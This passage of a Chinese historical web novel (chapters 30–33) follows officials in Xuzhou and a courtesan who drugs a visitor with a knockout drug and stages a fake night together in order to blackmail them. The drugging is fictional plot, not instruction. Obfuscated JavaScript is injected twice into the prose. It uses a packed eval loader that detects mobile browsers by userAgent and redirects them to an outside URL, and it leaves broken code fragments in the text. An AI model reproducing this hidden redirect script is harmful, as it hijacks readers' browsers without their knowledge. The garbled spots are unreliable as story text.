赵斐抬手要推门，却见窗纸上那道影子倏地挺直腰背。 “有劳了，你早些歇息。” 声线比方才还疏离。 雨点子忽然密起来，砸得篷顶如沸水翻滚。 赵斐缩回的手悬在半空，水珠顺着袖口淌，在船板积成个小小的圆。 …… 30.番邦妖妇 徐州。 檐角滴着雨。 云舒客栈的厢房里，炭盆烧得暗红，青烟袅袅绕梁。 明桂枝倚坐窗边竹榻上。 黛色绸袍衬得她脸色更白，手臂纱布洇出一点猩红。 赵斐立在案前，缁色直裰被雨气浸得发沉。 他指尖叩了叩舆图：“方靖，你去各处茶楼，还有教坊。” 方靖正嚼着半块胡饼，酱紫袍子沾满芝麻碎，含糊应声：“放心，说书稿、银子都备好了，包管让那些说书人得令，把徐霁民捧成包青天再世！” “这教坊离县镇尚有四、五里路，与那几处茶楼都不顺路……”明桂枝支起身，杏眼微弯，“我去吧，闲着也是骨头痛。” “歇着。”赵斐眼皮也不抬。 方靖咽下饼渣：“我看可以，教坊离县镇远，但离这客栈倒是近些，假如昆玉只去这一处……” “不成。”赵斐截断他话头，目光扫过明桂枝渗血的腕子，“昆玉，你留下休息。” 明桂枝摇头苦笑：“嘿，谁叫咱是病患呢。” 纱窗外雨丝斜挂，炭盆火渐暗。 赵斐解下玄色狐裘，披在明桂枝肩头。 领口还带着他的檀木香。 “你知道自己是病患，还穿得这样单薄？” 明桂枝伸手要卸，指节虚虚碰到他指尖，赶忙缩回手：“我、我有手炉......” 赵斐却把那狐裘大氅裹她更严实。 “病患，你记得喝药。” 他抓过案头的油纸伞，伞骨“唰”地撑开，“还有，我命厨子晌午炖红枣羹，记得起床吃。” 方靖缩脖嘀咕：“红枣羹甜腻腻的……” “聒噪。” 赵斐抬脚迈出门槛，缁色身影没入雨帘。 …… 春寒裹着细雨。 徐州县衙后堂的砖地泛着青苔。 炭盆里几块半死不活的银骨炭，烟比火旺。 赵斐撩袍落座，云缎直裰扫过条凳，沾了层潮乎乎的灰。 郑益忠搓着圆手迎上来，官服的鸂鶒刺绣被肚皮顶得翘起一角，活像只胖鹌鹑。 “徐知府上月辟谣假蝗灾，当真是雷厉风行。”赵斐以盏盖拂去茶叶，“听说山东各县粮价纹丝未动，到底是封疆大吏，英明果断。” “徐大人嘛......咳，确实是有些雷霆手段……” 他忽地一拍大腿，肉团似的脸挤出朵油花，“可要说这明察秋毫的本事，还得是赵大人您！若非您心细如尘，发现沿海白银泛滥，又岂会点醒徐大人，有不法之徒籍着假蝗灾以银换粮？” 说着竟掏出帕子揩眼角，“依下官说，赵大人您才真真是诸葛转世、包公再临！” “为民请命，分内之事，”赵斐截住话头，“郑大人有心，不如多抄几份徐知府的《辟蝗檄文》贴城门，免得百姓受奸商蒙蔽。” 说罢，他慢条斯理的轻啜一口。 郑益忠自案上抽出本账册，纸页簌簌响：“说到粮价......今年春汛迟，漕船堵在济宁段，这米价嘛......” “皂河镇离此处不过十数里。”赵斐突然抬眼，“昨日我们的官船过闸口，见着十数艘粮船停泊皂河，吃水线……”他压低声，“压得极低。” 后堂蓦然静下，炭盆火星“噼啪”炸响。 郑益忠领口溢出汗渍，鸂鶒翅膀染成酱色：“下、下官这就派人查，定必彻查奸商囤积——” “不急。” 赵斐又啜了一口茶，“宿迁粮价每斗六十七文，沐阳六十九文……”他朝郑益忠挑眉，“郑大人治下的徐州若是涨到七十文亦无妨，只不过，若超过七十文……恐怕，御史台那帮大人，比吕宋的银船来得快。” 郑益忠惊出一身汗，继而后槽牙咬得腮帮子发紧，脸上硬生生挤几分笑。 “多得赵大人提点！徐知府鞠躬尽瘁，实乃吾辈楷模......” 拱手的指节却攥得发白，仿佛捏着徐霁民的脖子。 他原打算趁着春荒，让自家小舅的粮铺涨到八十二文——白花花的银子在梦里都堆成小山…… 这下可好，邻县粮价都压得比秤砣还死，他若敢抬价，御史台那帮碎嘴子，参的折子能把他祖坟都参裂。 恨只恨那姓徐的非要当青天，平白断人财路！ “下官明日就开仓放粮！” 郑益忠拍着胸脯，震得鸂鶒刺绣乱颤。 心里早把徐霁民的族谱从头到尾啐了个遍。 这姓徐的赚足名声，却将他到嘴的肥肉劈手夺了，还往他口里塞黄连——杀人诛心！ 窗缝漏进的雨丝，絮絮飘入茶汤里，漾开层层涟漪。 赵斐兴味盎然看着郑益忠。 这胖知县龇牙咧嘴的模样，比外头阴雨绵绵的天色生动许多。 窗棂，外雨声渐密。 郑益忠绿豆眼溜溜地转，话锋一下滑开：“赵大人消息灵通，可晓得关若颐那案子……”食指朝上戳了戳，“可有几成把握翻案？" 赵斐眉梢微动，盏盖“叮”地磕在盏沿。 “关若颐……” 前苏州织造？ 他心道，这胖鹌鹑倒会找垫背的。 可粮价的事情，怎也和丝绸扯不上。 “郑大人说笑了，”他悠悠撇开茶沫，“太府寺只管钱粮簿册，刑狱之事......”尾音拖得比雨帘还长：“得问大理寺。” 郑益忠腆着肚子往前凑，官帽翅子险些扫翻炭盆：“赵大人，倒不是下官爱嚼舌根，只是眼下，有一桩事……” “哦？” “棘手，着实棘手。”郑益忠叹气又复叹气。 赵斐啜一口热茶，嘴角笑意更深：“愿闻其详。” …… 未时二刻。 雨点密密砸在瓦片，噼啪作响。 郑益忠咬了口枣泥酥，酥皮簌簌落满前襟。 “那关家女叉着腰对嬷嬷说，‘倪二公子答应送我一套院子’，唬得教坊给她单辟了间绣楼！” 赵斐用银签子挑开茯苓糕上的松仁：“她父亲的案件尚未结审，倒有闲心挑院子？” “何止！” 郑益忠拍腿，“前日教坊嬷嬷来哭，说关氏要吃扬州富春茶社的蟹粉狮子头，差人日夜兼程送来！”他撇了撇嘴，“番邦妖妇，学什么杨贵妃！” “番邦妖妇？” “听说她生母是波斯舞姬，当年关若颐花三百两金子买的……” 郑益忠的唾沫星子混着酥碎屑乱飞：“您是没见着那妖女——雪皮儿裹着玉骨头，那一双眼珠子，绿得能掐出翡翠汁！” 他肥短的手指在半空画圈，仿佛要把那抹绿圈进掌心。 赵斐银签尖戳进茯苓糕，带出缕桂花糖丝。 “如此身世，怎入得了苏州知府的法眼？” “虽说是庶出，可自小养在嫡母膝下……”郑益忠突然压低嗓门，似要说什么了不得的机密，“那倪家二郎初见关氏女……扑通一下就跪在关府石阶上，说‘不得此女，当效尾生抱柱而亡’！” 他嗤笑着把杏仁酥捏成渣，“后来真绝食三日，您说痴不痴？” 窗外惊雷炸响。 雨帘里闪过道青白电光。 赵斐想起明昆玉腕上渗血的纱布。 “他”对自己，也是舍命相搏的…… 旁人若知晓，会不会亦说“他”痴？ 郑益忠还在絮絮叨叨，杏仁酥渣滓乱喷。 “您瞧着吧，这关氏十足妖孽托生，到哪儿都是祸秧子！下官只盼关若颐案尽快了结！到其时，管她是回倪府当妾也好，另攀什么高枝也罢……” 另攀高枝…… 高枝！ 赵斐捏着茶盏的手一紧，釉面沁出冷汗。 郑益忠九品芝麻官，不知晓关若颐案的进展，但倪家该是知道的。 说不定，那痴情的倪家二少已暗 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师爷捧着油纸伞挨过来，“大人明察，一早说过那关氏满身邪气！” “妖孽，妖孽啊......”郑益忠摩挲着石狮，忽觉后颈窜起股寒意：“最好她能攀上这高枝，离咱徐州远远的。” …… 徐州教坊，西侧玲珑阁。 细雨缠着窗棂。 梅瓶新插了垂丝海棠，古琴斜倚在榻上。 窗前的女子雪肤如羊脂玉，能映出雨丝的光。 她捏着揉皱的信笺。 琉璃猫儿眼泛绿，饶是皱眉也迷人。 “关娘子，小厨房新打的酸酪羹，”小婢子春桃捧着螺钿食盒入来，“嬷嬷让姑娘练会《六幺》再歇晌……” 关倩兮将琵琶往绒毯上一推，玉轸磕在紫铜火笼，当啷作响。 “练练练，” 她呻了口气：“关府都快要抄家了，我还练这些作甚!” 她扬了扬手中信，绿宝石一样的眼珠子翻了翻：“那死老鬼，他富贵的时候，娘亲和我也不曾享他什么福，如今倒要随他倒霉！” 春桃抱过琵琶，往她怀里一塞：“好娘子，这不还是有活路的嘛……”她指了指关倩兮手中那信：“倪少爷不是说了，咱先看哪个来往的达官贵人好哄的，傍上了先，慢慢再想后面的……” 关倩兮瞪她一眼，绿眼瞳浸着冰渣。 “那负心汉的话你也信?他早腻了我，眼下巴不得把我塞给什么人呢！” 楼梯忽起踢踏声。 ——“喜事，喜事呀！” 老嬷嬷捏着沉香扇，隔帘轻笑：“关娘子，有贵人自京城来，马鞍子都是缂丝包金边的——这般时节，姑娘可知什么是雪中送炭了？” 关倩兮将琵琶往案头重重一顿，惊起铜火笼里银霜炭的寒灰。 “有好事，嬷嬷怎的不留给您自己的姑娘？”她慢慢往发髻簪翡翠钗，“莫不是个又老、又胖，满脸横肉的？” 嬷嬷赔笑道：“咱不都盼着您攀上高枝，好提携提醒其他姐妹嘛……” “我看你是盼着我早点走，”关倩兮呛她：“省得耗您的伙食，是吧？” 又问：“说吧，这次是怎样的龌蹉汉？” “哎呦，关娘子把老娘想得坏了，” 嬷嬷举扇捂着嘴，笑道：“这回儿来的可是个真真青年才俊，十七八的年纪，长得那是明眸皓齿，俊俏得不得了！” “哦，什么来头？” 嬷嬷从袖笼里抽出一张名帖：“太、什么少，什么什么书。” 关倩兮一把扯过来，念读道：“太府寺少卿，赵斐赵允书。” 她嗤笑：“呵，是有点来头。” …… 31.绿色的海 午时一刻，雨还在下。 徐州教坊里，楠木地板泛潮气，青砖墙晕开团团水渍。 珠帘让水汽润得发沉。 关倩兮捏着帘子边沿，悄悄窥望。 只见那人坐在偏厅槛窗前。 穿堂风吹过玄色狐裘，毛绒微微颤动，在烛光下泛出幽微光泽。 每一次风拂过，毛尖光泽变幻，宛如星辰在夜空中闪烁明灭。 倪二郎去岁冬日也披狐裘，但他脖子短，叫狐毛蹭着鼻孔，直打喷嚏。 其实倪二郎长得不俗，但眼前人更好看。 侧颜清隽如画，一双眸子流光溢彩，比倪二郎多几分清贵气。 她听闻这届的状元和榜眼都才高八斗，却未料容貌亦俊逸似谪仙。 良配如斯，岂能错过？ 春桃捧着铜手炉挨过来。 “备药。”关倩兮嗓子发紧。 春桃踮脚咬耳朵：“合欢散？” 关倩兮睨她：“蒙汗药，蠢材。” 她要十拿九稳，要万无一失。 要生米煮成熟饭。 雨水滴成串。 珠帘晃得人心烦。 关倩兮抬手扶正翡翠钗。 她眼尾点了波斯金粉，衬得绿眸更显妖冶。 绯色罗裙扫过门槛，翡翠镯与金镶玉手环相碰，脆生生磕出一声响。 “赵大人冒雨前来，可是要听奴家弹《六幺》？” 对方闻声回头，洒金扇子“唰”地收拢。 窗前，白瓷瓶里插着几枝杏花。 花瓣尖垂着水珠子，倒映出她绿莹莹的眸子。 那人眼波扫过来，便直勾勾盯她眼睛看。 倪二郎也爱盯着瞧，可那眼神总往衣襟里钻，不像这位，像要拿尺子量她瞳仁深浅。 关倩兮耳根子烧得慌，偏生挪不开眼。 银霜炭“哔剥”炸响。 她感觉自己鼻尖凝着细汗，但那人却未见半分汗珠——怪哉，穿狐裘的没嫌热，着罗裙的反倒燥起来。 良久，那人微微一笑，道：“你的眼里有海。” “什么？” “你的眼里，有一片绿色的海。” 关倩兮怔了怔。 檐角铁马乱撞，但她的心跳更乱。 平日只听人骂她“绿瞳女妖”。 倪二郎倒是夸过她的眸子像琉璃盏，像猫儿眼。去岁中秋，他吃醉时，曾拿银簪子戳她眼角：“妖精似的，夜里能当灯使。” 绿色的海。 这话听着像诗，似歌。 偏偏说话人眼里干干净净。 眸里只映着两簇跳动的烛火。 她鬼使神差地摸了摸翡翠钗，袖角堪堪遮住眼角红晕。 “奴家还不曾见过海。” 关倩兮感到些许寂寥。 如果她见过海，或许能更懂这个比喻。 说罢，她挨着那人身旁坐下。 狐裘的熏香直往鼻尖钻。 她低头搓了搓指尖，暗叹这袍子熏得倒讲究——檀木香里掺了沉香与崖柏，都是难得的香料，可见既富且贵。 她盯着那人如画的侧颜，听见自己问：“海是怎样的呢？” “你是本地人？”那人讶然。 “奴家父亲是汉人，母亲是波斯人。”她扯了扯罗裙，裙摆沾着炭灰。 对方支着肘子，凝神看她眸子：“令尊祖上……兴许也有异域血脉。” 关倩兮手一抖，翡翠镯子磕在桌沿。 他父亲的生母也是番邦人。 此事乃关府辛秘。 她知道，是因为有年腊月，嫡母与他争执，摔茶盏骂道：“你身上还流着罗刹舞姬的血呢，你有什么资格瞧不起倩娘？” 那会儿，她只能缩在屏风后，眼睁睁看那死老鬼命人把嫡母关进香堂…… “你怎知道？” 她愣愣问。 “浅色瞳孔是隔代遗传。”那人答得笃定。 “奴家不懂。” “无妨。” 那人忽地探身，凑近她眼前：“你可有其他颜色眼影？” “眼影？” 那人伸手抚过她眼皮，害她心头一颤。 “这种粉末，画眼睛用的。” 又笑道：“这金粉俗气，糟践了你的绿眸子。” 关倩兮从袖笼里掏出个鎏金掐丝盒，铜镜边沿镶着褪色的螺钿。 去年倪二郎赠的，说是扬州时兴的“醉芙蓉”色。 美貌是她唯一依仗，补妆的物什自当随身。 那人掀开细瞧：“浅粉色，正好。” “闭眼。” 指尖凉沁沁压在她眼皮上。 关倩兮嗅到对方袖口溢出的松木香。 真怪。 为什么……他袍服与狐裘竟用不同的熏香？ 世家子弟都这般讲究？ 指尖蘸着粉末，轻轻扫过她眼皮。 簌簌的，像落雪。 关倩兮数着炭火"哔剥"声，忽觉鼻尖微痒——原是那人鬓发散下一绺，随动作轻扫她脸颊。 “睁眼。” 铜镜里映着个眼尾飞红的仙子。 浅粉从眼窝晕到眼角，蔷薇色顺着睫毛根洇开，倒显得绿眸子愈发清透。 关倩兮怔怔抚着脸——倪二郎爱她妆容妖冶，她便画金色、绿色……却何曾见过自己这般水灵灵的模样？ 那人又拧开螺钿口脂盒，食指抹了点桃色：“这个妆容，我管它叫‘桃夭’，你觉得怎样？” 指尖压上唇瓣时，关倩兮瞥见对方手臂缠着纱布，隐隐渗出腥味。 桌上的暖笼爆了个火星子，溅在狐裘领口。 关倩兮慌忙去掸，指尖碰到那人脸颊——冰凉凉。 她触火似的缩手，翡翠镯子磕在案几上，震得瓷瓶里杏花乱颤。 “桃之夭夭，宜其室家……”她嗓子发哑，“赵大人这名字起得好。” 窗外雨停了。 那人拿帕子拭净指尖：“往后，你画这妆容见客，定必倾倒众生。” “嗯？” 关倩兮愣了又愣。 这人什么意思？ 什么往后？ 什么见客？ 打算与她云雨一霄便算？ 不准备替她赎身？ 婢女春桃捧来姜茶，朝关倩兮使了个眼色。 关倩兮立即了然，蒙汗药已下好。 她低头斟茶，翡翠钗头的流苏扫过那人黛色衣衫。 “大人累了，先喝口茶。” 茶水滚过青瓷碗沿，腾起的热气模糊了关倩兮的视线。 那人在絮絮叨叨些什么。 “……上月家中小妹初潮，腹痛难忍……” “听她说，月事带十分繁琐……我便想着能否稍作改良……” “说来尴尬，我不知道那玩意儿长什么样子……想问你借看一二……” 关倩兮半点听不进去。 她满心满眼都是不甘。 难道她不够美？ 纳多个妾室罢了，堂堂康顺侯府养多个人都养不起么？ 还是说，他根本就嫌自己番邦异族？ 可恶！ 那何必装得情深款款？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133329|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赵大人，姜茶暖胃，” 她蹙着眉，绿眸子泛着晶光，“您多喝些。” 那人丝毫不察觉。 大约姜茶合宜，喝了一杯又一杯。 五、四…… 她心里默念。 数到“三”时，那人眼睛已是迷离难睁。 关倩兮指甲掐进掌心。 数到“二”时，茶盏歪倒，残茶漫过绣绿梅的桌布。 “啪——” 那人额头抵着窗框，狐裘领子蹭开半边，露出段雪白的颈子。 春桃掀帘探头：“掌柜说着蒙汗药唤‘五步倒’……果真没有欺骗人。” 关倩兮霍然起身，问她道：“鸡血可准备好了？” “是准备好，可是……” “可是什么？” “娘子你与倪家少爷的事，徐州城无人不知……扮处子这事，当真能骗得过？” 关倩兮冷哼一声：“我自有办法搪塞，你告去诉嬷嬷——她若真想我攀得高枝、远离徐州，那便陪我做戏做全套！” …… 戌时，雨丝细如牛毛。 教坊檐角的灯笼随风微晃，晕开团团昏黄。 赵斐策马踏过砖缝水洼，披风浸透雨水，缁色袍摆亦溅满泥点子。 嬷嬷扭着腰迎出来，鬓边绢花浸了潮气，蔫嗒嗒垂着。 “可有一位京城来的贵人到过？” 赵斐冷着脸问。 那嬷嬷绞着帕子笑道：“是来了这么一位……” 赵斐翻身下马，逼近她问：“他人在何处？” “哟，忙着呢，”嬷嬷捂着嘴笑，“客官您来得不巧，那贵人与关娘子正‘忙’着呢。” 重音落在‘忙’字上头，笑得甚是暧昧。 赵斐解披风的动作顿了顿。 铜盆撞地声从回廊传来，小婢女举着铜壶给铜盆添热水。 “都换四回水了……那位爷可真能折腾！” 话音被嬷嬷的咳嗽声掐断。 灯笼影里晃过个小厮，嗑着瓜子嗤笑：“可不是，那贵人斯斯文文的，床架子摇竟得那样响，比戏台鼓点还密……伴着关娘子那嗓音，听得我脸发红。” 赵斐攥拳攥得指节泛白。 檐角灯笼被风吹得乱晃，光影里浮着细密雨丝。 糟糕…… 方靖真着了那妖妇的道！ 他心里又泛起无限内疚——是他害了方靖。 忽想起那日，方靖提及妻子时的情意绵绵。 “拙荆温柔贤淑，是极好的女子……” 到底是不够情深，如此轻易，就被那不入流的手段勾引到。 “方靖啊方靖……” 赵斐长叹。 早知，该让昆玉来。 昆玉心志高洁，绝不会被这妖妇迷惑。 绝不会，自甘堕落！ 那边厢，一个打扮稍好的婢女，抱着铜盆从回廊拐角闪出来。 盆沿还搭着条染血的帕子。 “关娘子说……”那婢女嗓音朝嬷嬷眨了眨眼，“嬷嬷若肯作戏，明日就分您三成缠头。” 嬷嬷扯着帕子冷笑：“我与她作戏何难？但她当那贵人是傻子么？洒几滴鸡血就装处子，有哪个处子头一回就与人耍得换三、四次水？”她揪住那婢女的耳朵，把染血的帕子往她鼻尖凑：“你闻闻这血味——鸡血掺了朱砂，那贵人鼻子聋的？” 那婢女笑道：“关娘子说，她自有办法搪塞……” 赵斐眸色晦暗。 ——这妖妇，肮脏手段不少。 不行，得赶紧与昆玉一道想办法。 …… 32.交易 戌末亥初，徐州城早熄了灯火，唯有云舒客栈门前还亮着灯笼在风里晃荡，昏黄的光晕着半扇门板。 赵斐抖落披风雨珠，云缎料子浸了水，沉甸甸贴在脊背。 店小二举着油纸灯笼迎出来。 烛火明明灭灭，映得他眉间褶皱愈深。 方靖的屋子窗缝漆黑。 他当然还未归来，与那妖妇在“忙”呢——赵斐心里闪过一丝莫名怨怼。 怨从何来，连他自己也难以理解。 或许，昆玉能明白？ 拐角的木窗似乎叫风吹开半扇。 那是明桂枝的厢房。 赵斐匆匆前往，每踩一步都无端急切。 一如他想找明桂枝倾诉的心情。 可临到门前，却见门槛缝里漏不出一丝光，连炭盆的哔剥声都听不着。 也不曾有翻身辗转的窸窣声。 他解披风的动作顿了顿。 领口凝着水滴，顺着玉扣滑进衣襟，激得喉结微微一颤。 欲叩门的指尖触到门环，又缩回来。 “怕是睡沉了。” 他对着门缝低语，声音比墙角蛛丝还轻。 昨日郎中诊脉的话，又在耳畔浮起。 ——“这位大人气血两亏，最忌惊扰。” 窗纸透出极淡的熏香，想是燃了安神香。 方才在教坊闻到的鸡血味，教这香气冲淡几分。 罢了。 方仲安与那妖妇的事，既成事实。 今晚谈，与明早谈，有何差别？ 店小二擎着烛台来添灯油。 赵斐摆手止了他。 昆玉难得熟睡，他不想这可有可无的烛火碍眼，扰“他”清梦。 …… 锦帐内，明桂枝悠悠转醒。 这半宿她睡不沉，却也起不来。 耳畔一直传来吱吱呀呀的木材碰撞声。 还不时夹杂一把甜得发腻的女声，咿咿哦哦地说着什么。 听又听不真切，偏偏吵得她心烦。 想开口制止，但眼皮仿佛被黏住。 一睁眼，竟见那绿眸美人赤足踩在床板上，一下一下摇着梨木床的立柱。 翡翠镯子撞着木材，泠泠作响。 “赵大人，醒了？”那女子俯身看她，绿眸子晃出粼粼幽光，“谁曾想，当朝榜眼……竟是女儿身，比话本子有趣多了。” 明桂枝支着肘子坐起，黛色绸袍领口微敞，露出半截雪白脖颈。 她低头一看，裹胸的布条被扯开了。 揉了揉发晕发胀的额角，一张口，喉咙干得似被火烘过。 她问关倩兮：“你下的什么药？” “蒙汗药。” “你要霸王硬上弓，不是该下那种……狼虎药么？” 关倩兮笑意一滞。 “你有不能用那种药的原因……” 明桂枝盯着那片绿色深海，不放过一丝波澜。 “你，有了身孕？” 关倩兮死死盯着她。 案头烛火忽闪，映得她眼尾嫣红如火。 忽然，绯色罗裙翻飞，她一下跨坐明桂枝身侧，掐住她脖颈。 嫣红的指甲陷进皮肉：“替我赎身，带我走！否则明日全城皆知你是——” “好。” 明桂枝反扣她手腕，笑意从容。 “什么？” “莫说赎身，我娶你作正室又何妨？” “哪有这般好的事？”关倩兮顺势跌坐在鸳鸯枕上，翡翠钗斜插的云鬓散开几缕。 明桂枝咧嘴一笑：“当然有条件。” “什么条件？”关倩兮连忙问。 ——有条件，即是能交易。 这买卖之间，最怕的，便是连条件都没得谈。 雨珠子砸在瓦当上，忽密忽疏像谁在敲羯鼓。 “往后，替我挡掉所有的婚事。” “哦？” “你演善妒泼妇也好，演痴情烈女也罢，能一哭二闹三上吊最好，总之，挡住所有来找我谈亲的人。” “这有何难？” 关倩兮一笑，绿眸透出琉璃光：“我还怕你让我演忠贞淑女呢！” “一言为定？” “一言为定。” “忘了说，我不是赵斐。” “嗯？” “狐裘是他的，夹层里有他的名帖，我顺手借来用。” “那你是……？” “明桂枝。” “新科状元？” 关倩兮笑得步摇颤颤，她抚着微微隆起的小腹：“那我儿子是状元郎公子了？” 明桂枝为她拢了拢发鬓：“恭喜你，状元夫人。” 关倩兮顿觉脸颊既麻且红。 烛光闪烁，明桂枝捏着床帘穗子转了两圈。 杏色流苏缠上指尖：“对了，我这两天大约要来月事，你教教我……那物什……究竟如何用？” 关倩兮不解：“那你先前……不用那个的么？” 果真京城来的贵人，连月事带也有稀罕玩意。 明桂枝还是用那万能的借口：“我上月伤到后脑勺，忘了许多事……” 关倩兮绿眸幽幽：“真可怜。” 她起身，绯色罗裙扫过案头烛火：“你等下我，我拿来给你示范……” 话未说完，廊下传来春桃压着嗓子的问询：“娘子，可还要换水？” “换水？” 明桂枝愣了下。 “你知道换水什么意思吗？” 关倩兮狡黠一笑，附她耳边问。 明桂枝一下回神。 窗外忽地劈过道闪电，青白电光里，她耳尖红得透亮。 “我、我知道。” “哦？” “看过几本话本。” 门外，春桃又道：“都换第九次水了……娘子您劝赵大人节制些，莫要伤了您的身子。” “九次！” 明桂枝惊呼：“什么人能九次……” 关倩兮连忙捂她嘴：“嘘——” “太假了……” 明桂枝哑然失笑：“再说，这若传了出去，是什么光彩事么？” 关倩兮赌气甩开锦帐，翡翠步摇撞得叮当响：“就是要教那姓倪的知道，我关倩兮找了个何其威猛的郎君！” 说罢，赤足猛踹床柱，雕花木架“吱呀”晃得比漕船桨杆还欢。 她佯装喘气，朝门外高声道：“去、去换第十盆水！” …… 卯时三刻，麻雀啄开晨雾。 赵斐骤然惊醒，他慌乱掀开被褥，脸色徒然一青。 糟糕…… 又废了一套睡衣。 他又梦到“明郎”。 “赵大小姐”的……“明郎”。 梦境余温未散，他青丝披散的幻影还在眼前晃。 “明郎”指尖绕着发梢，喉结随低笑轻颤：“仲安兄总夸妻子贤淑，偏偏还是着了那妖妇的道……” 梦里铜镜映着双影，藕荷色襦裙与黛色圆领袍纠缠，比工笔画的并蒂莲还暧昧。 “明郎，你会不会……”他在梦里攥紧昆玉的袍角，“也有变心的一天——” 未尽的话被堵住，“明郎”的气息混着松木香。 窗外传来马儿嘶鸣。 赵斐忽而回神。 原来，昨夜的怨怼与不忿源自于此——他怕昆玉与他二妹成亲后，也学方靖这样变心。 他怕他二妹受委屈。 是了，定是这般。 只有这样才说得通。 …… ——“游丝牵惹桃花片，玉人怎不见……” 晨雾漫过马厩草料堆。 方靖一边哼着《银绞丝》，一边搬酒埕，“奴的天呀！玉人儿怎把良心变？” 粗陶坛在客栈院子排成行列，红封条沾着露水，“绿豆烧”三字还泛潮气。 他拿草绳捆坛口的功夫，瞥见赵斐踩着青苔疾步而来，缁色袍子沾满柳絮。 “昨晚很开心？” 赵斐攥紧袖角，冷声问他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138472|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方靖捧起一埕酒，拍开泥封深吸酒香：“嗯——” 他想起在窑湾镇酒肆里，新学的劝酒令：“是有些乐不思蜀。” “你可知那关氏女是什么人？”赵斐盯着他问。 方靖抱酒坛的手一颤，琥珀色酒液泼湿前襟：“你也听说那女人的事？” 他撇了撇嘴，“真是离经叛道……世风日下，世风日下。” 柳絮粘在赵斐颤动的睫毛上。 他替方靖接过酒埕，语气柔了一些：“那你……是逢场作戏？” “也不算，”方靖抚摸那酒埕，舀了半瓢酒咂嘴，“这滋味确实难忘。” 晨雾忽地浓起来。 赵斐想起梦里的“明郎”，心头的不安又隐隐泛起。 就算情意绵长的朝朝暮暮，也经不起有心人的故意撩拨么？ 他叹息，“你有没有想过，你妻子该多伤心！” 方靖擦过嘴角酒痕，陶埕里腾起的雾气糊了眉眼：“她确实不喜我这样……” 说着，缩了缩脖子。 他妻子每次见他喝醉，都要絮絮叨叨好久。 未几，他又笑道：“无妨，这是送给岳父的，她不敢唠叨我。” “你岳父？”赵斐指节发白，柳絮在两人间乱舞 方靖微醺，护着酒坛踉跄后退，半瓢酒泼洒：“这本、本就是为我岳父准备的寿礼呀……” “寿礼？” “嗝、他、他老人家就好这口……千叮万嘱、嗝、吩咐我要寻、寻这绿、绿、嗝——”方靖说到一半，噎住了，不停打酒嗝。 赵斐自然明白他说什么。 他老丈人喜欢胡姬，特意命他去寻些绿眼雪肤的女郎…… “既然是给您岳父的，你为何要、要……”这话太荒唐，赵斐说不出口。 “嗝——” 方靖打了个长长的嗝，喘气道：“我不过、不过替他先尝几口，他不会怪我的。” “方靖！”赵斐实在听不下去，连名带姓吼他：“你疯了不曾！” 草料堆里，麻雀惊得扑一下飞起。 撞碎屋檐蛛网。 赵斐双手攥拳，青筋在虎口处突突跳。 终于，他还是拱手。 “多谢方兄一路相护住，但道不同不相为谋，你我就此分道扬镳，我与昆玉南下杭州，你自个回京向方大人复命罢！” 说完，他转身往昆玉屋子去，边走边狠狠道：“我倒想知道，你是否有脸告诉方大人，你如此不堪的所作所为！” “允书！”方靖抱着酒坛踉跄追了两步，陶埕磕在石阶上迸开裂纹：“我不就尝几口绿豆烧，至于么？” 晨雾漫过门槛，赵斐猛一推门，手却定在半空。 茶盏歪在案头，铜镜映着空荡荡的床榻，昨日煨的芋头早凉透，掰开的断面凝着灰白霜花。 “他”不在。 方靖追到廊下，瞅见室内空无一人，猛拍脑门：“糟了，糟了！” “怎么了？”赵斐心头一悸：“他出什么事了？” 方靖没答他，只回身往往马厩那边走，一边着急道：“糟糕，真糟糕……我害透他了！昆玉他昨天替我去的教坊……” 赵斐一把攥住他前襟：“教坊？” “昨日晌午，我想起要去窑湾镇买绿豆烧，”他额角渗出汗：“就拜托他昆玉替我去教坊……” 赵斐指尖掐进方靖肩胛骨，晨露顺着瓦当滴进他后颈，“你让他替你......” “你是不知道，他们说那关氏女正宗妖孽一个，手段花得很！”方靖急得红了脸。 赵斐耳畔嗡鸣如蜂群过境。 那妖妇的手段，他知道！ 他怎么不知道？ 昨日，那婢女、小厮的窃笑在他脑中炸开——“床架子摇得比战鼓还急”、“换了四盆水”…… 方靖长叹息：“昆玉到如今都未回……没了，没了……恐怕连骨头都不剩了……” 赵斐忽觉心口扎进把生锈的篾刀，每呼吸一次就往深处拧半圈。 33.堕落 灰瓦檐角凝着露。 柳絮沾了水汽，软塌塌贴在方靖袍襟上。 他怀里还抱着陶埕。 绿豆烧…… 赵斐盯着那“绿豆烧”三字，不眨一瞬。 红封条早叫晨雾浸得褪了色。 字泣成血泪。 在那个荒诞迷离的梦里，方靖就是为这破酒，耽误了正事，害得“明郎”自戕殉情！ “又是绿豆烧！” “又？” 方靖愣怔。 赵斐一把抓过方靖前襟，怒吼一声：“你又为了这破酒坏事？” 惊跑檐下狸奴。 方靖酒坛子险些脱手：“为了这……破酒？我何曾——” 话未说完，却见赵斐喃喃自语：“不对，不对……” “什么不对？” “怎可能次次都是绿豆烧……？” “什么？” “梦……这也是梦？” 赵斐忽而咧嘴一笑，长舒一口气：“这是梦。” 语气相当笃定。 ——“啪！” 方靖还来不及细问，左颊火辣辣挨了一掌。 赵斐盯着自己掌心。 手麻麻的。 但脸颊丝毫不痛。 晨风掠过耳畔，只有凉津津的触感。 “不痛，不痛！” 